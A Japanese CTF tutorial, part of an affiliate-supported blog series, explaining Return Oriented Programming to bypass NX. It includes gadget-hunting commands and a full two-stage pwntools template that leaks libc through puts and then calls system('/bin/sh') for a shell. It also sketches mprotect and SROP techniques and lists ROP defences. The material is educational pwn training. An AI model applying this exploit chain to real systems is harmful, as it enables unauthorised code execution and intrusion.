【ROP入門編】ガジェット連結でNXを越える|CTF思考フレームワーク #60
広告・PRを含みます。この記事にはアフィリエイトリンクが含まれます。掲載内容は編集方針に基づいて作成していますが、価格・在庫・キャンペーン内容はリンク先で最新情報を確認してください。

ROP?……Return Oriented Programming って、何ができるの?🔧

NX(実行禁止)保護がかかった環境で『すでにメモリに存在するコードの断片(ガジェット)』を連結して、任意のコードを実行する技術。スタックBoFができてもNXで止まる、その先の世界を開けます。
ROP(Return Oriented Programming)は、NX bit / DEP(Data Execution Prevention)を回避する技術。攻撃者が直接コードをインジェクションできなくても、既存のバイナリ内にある『短いコード片+ret命令』のガジェットを連結して、計算機としてプログラムを組み立てます。pwntools の ROPユーティリティが定番。

既存のコードを継ぎ接ぎして攻撃って、すごい発想だな…
この記事は、CTF思考フレームワーク第60回。ROP入門として、ガジェットの探し方(ROPgadget・Ropper)、pwntools での自動連結、典型的なret2system / ret2libc シナリオを実践的に整理します。
📖 この記事はシリーズの一部です
「CTF思考フレームワーク」 #60 / 全86記事 → シリーズ一覧を見る →
🧱 NX有効でも諦めない。ROP(Return-Oriented Programming)は「既存コードのret付き断片」を連鎖して任意の処理を組み立てる技術。Pwn学習の中盤の山です。
ROPの基本は「gadgetを集める」「rdiやrsiに値を設定する」「最終的にsystem(“/bin/sh”)やexecveに到達する」。まずシンプルなret2libcから入って、徐々に多段ROPに進むのが王道。
ガジェット連結でNXを越えます⛓️

ROPは「コード片(ガジェット)を連結して任意処理を実行」する技術。NXがあっても効く⛓️
先に意味を押さえておくと読みやすい用語です。
- CTF: セキュリティの練習問題を解く競技。必ず許可された環境だけで試します。
- Pwn: バイナリの不備を突いてプログラムの制御を奪うCTF分野です。
- ROP: 既存コードの断片をつなぎ、攻撃用の処理を作る高度な手法です。
- スタック: 関数呼び出しや一時データを積み上げて管理するメモリ領域です。
👀 観察フェーズ:まず何を見る?

バイナリ全体をROPgadgetで分析→pop系ガジェットを集めるのが第一歩🔍
ROP前提は「Stack BOFが取れる」「NX有効」「libc使用」。さらに leak 経路(puts(GOT[puts])など)の確保、PIE 有無、libcバージョン特定(libc-database)が伏線。
- NX有効(実行不可スタック)
- libc使用&ベース漏洩経路
- libc.so.6 のバージョン(libc-database / libc.rip)
- 使えるgadget(pop rdi; ret等)
- GOT/PLT エントリ(puts/printf/read等)
- one_gadget の使えるエントリ

NX有効でも既存コードを使うROPなら関係ないんだね💡
🤔 仮説フェーズ:攻撃者は何を考える?

ROP入門の4要素。
🕶️ 攻撃者は2段ROPで考えます。1段目:libcベース漏洩(puts(puts)→putsアドレス取得→libcベース計算)、2段目:本ROP(system + “/bin/sh”)。one_gadgetがあれば1段目から直行も可能。
🧩 仮説①:ガジェット収集
ROPgadget --binary ./progで全ガジェット列挙。レジスタ操作・syscall・writeableに分類。
⛓️ 仮説②:チェーン構築
引数をpop rdi; retで準備→関数呼び出し→次ガジェット…とスタック上にrip列を構築。
📚 仮説③:libc関数の呼び出し
system / execve / mprotect / readの組合せで任意コード実行へ。
🚀 仮説④:ret2csu
CSU(__libc_csu_init)を使ったガジェット少数でも引数3つ揃えるテク。x64定番。

ROPは「既存コードのコラージュ」でTuring完全な処理を作るんだね😲
🔬 検証フェーズ:どうやって確かめる?

pwntoolsのROP()クラスはガジェット自動連結機能つきで超便利🧪
まずgadget収集(ROPgadget / ropper)。libcバージョン特定はpwntoolsのlibc-database/findかlibc.rip。leak値からlibcベースを引いて、対象関数のオフセットを足して呼び出し。
# gadget収集
ROPgadget --binary ./chall | grep "pop rdi"
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep "pop rdi"
# libc特定
# leak値の下位3桁hexを libc.rip に投げる
# 例:puts=0x7f...c20 → libc6_2.31-0ubuntu9.9_amd64.so
# pwntoolsで自動化
from pwn import *
libc = ELF('./libc.so.6')
base = leak - libc.symbols['puts']

libcのアドレスが必要だから、最初にlibc leakをする2段構えが定番だね💡
⚔️ 攻撃フェーズ:実際の手口

ROP攻撃の典型3パターン。
典型ROP(2段):①putsでputs自身のGOTをリーク→libcベース算出、②main再呼び出し→2回目入力でsystem(“/bin/sh”)。
# 2段ROPのテンプレ
from pwn import *
elf = ELF('./chall')
libc = ELF('./libc.so.6')
p = process('./chall')
pop_rdi = 0x... # ROPgadgetで取得
ret = pop_rdi + 1
# 1段目:puts(puts)でリーク
payload = b'A'*72 + p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.symbols['main'])
p.sendline(payload)
leak = u64(p.recvline().strip().ljust(8, b'x00'))
libc.address = leak - libc.symbols['puts']
# 2段目:system("/bin/sh")
binsh = next(libc.search(b'/bin/sh'))
payload2 = b'A'*72 + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(libc.symbols['system'])
p.sendline(payload2)
p.interactive()
one_gadgetが当たればROPチェーンが pop rdi → 0 → one_gadget の3エントリで終わります。条件(rax=0等)を満たすかは事前に確認🎯
pop rdi; retで"/bin/sh"を準備→system()でシェル取得。
mprotectでスタック領域を実行可能に→読み込んだshellcodeにジャンプ。NX回避の代表。
シグナルハンドラのrt_sigreturnで全レジスタを一発設定するテクニカル攻撃。
🛡️ 防御フェーズ:どう守る?

ROP対策の3レイヤー。
ROP対策は「リターンアドレスを物理的に守る」(CET Shadow Stack)と「leakを許さない」(FORTIFY、Full RELRO)の二方向。CFIも併用。
- Full RELROでGOT書き換え不可
- Stack CanaryでBOF時に検知
- Intel CET / Shadow Stack
- FORTIFY_SOURCEでprintf系の安全側関数化
- CFI(Clang -fsanitize=cfi)
- WindowsはControl Flow Guard(CFG)相当
毎回違うアドレスでガジェット位置が分からなくする。leakを防ぐのが鍵。
retの飛び先を正規関数開始のみに制限。Intel CETやLLVM CFIなど。
ハードウェア支援でretアドレスを別領域に複製して整合検証。

「ASLR + CFI + Shadow Stack」を組み合わせればROPは最小化できる💪
🧪 pwn検証用のLinuxラボ
Pwnやエクスプロイトの練習は、必ず自分の検証環境で。💻 ConoHa VPSならLinuxをワンクリックで立てて、gdb-pedaやpwntoolsを仕込んでそのままトレーニングできます。
※ 上記は他社サービスへのリンクです。購入は各自でご判断ください。
⚠️ よくある落とし穴
- libcバージョン違いでオフセットがズレる
- PIEを忘れて絶対アドレスを書く
- one_gadget条件(rax=0等)を確認せず常に失敗
- leakが行末改行込みで
strip忘れ - main再呼び出しで関数プロローグ
endbr64がCETでブロック - ASLR上位3バイトのみ可変なのに4バイトとして扱う
🧰 ツール早見表
| ツール | 用途 | 備考 |
|---|---|---|
| ROPgadget / ropper | gadget抽出 | バイナリとlibc両方 |
| pwntools ELF/libc | シンボル解決 | p64/u64/process/remote |
| libc-database / libc.rip | libc特定 | leak下位3桁から |
| one_gadget | libc内execve | 条件付き決め技 |
| gdb + pwndbg | チェーン検証 | tele $rsp 30 |
🎓 本気で学びたい人へ
ローレベルやOSレベルの許可を、仕事として深く学びたい方へ。🎓 ササエルはインフラとセキュリティの両方を学べるスクールです。
📚 もっと深く学びたい人へ
実際に手を動かして攻撃手法を体で覚えたいなら『7日間でハッキングをはじめる本 TryHackMe』がおすすめ📚
📚 次に読みたい
- スタックBoF基礎編|CTF思考フレームワーク #59
- GOT・Format String編|CTF思考フレームワーク #61
- Pwn入門編(asm/呼出規約)|CTF思考フレームワーク #58
- Heap入門編|CTF思考フレームワーク #62
✍️ 学んだことを発信する
検証ノートをブログで公開したい方は、高速で安価なConoHa WINGが使いやすいです。
⚖️ 大事なお約束
この記事の手法は、必ず自分の環境か、許可されたCTF・脆弱性報奨金プログラム(HackerOne、Bugcrowd等)で試してください。他人のサービスに無断で攻撃を仕掛けるのは不正アクセス禁止法違反、立派な犯罪です。学んだ知識は守る側で活かしましょう🤝
この記事は合法な学習・防御目的での解説です。許可のないシステムへの攻撃は犯罪になります(不正アクセス禁止法ほか)。検証は必ず自分が管理する環境・CTF・公式ハンズオンで行ってください🙏



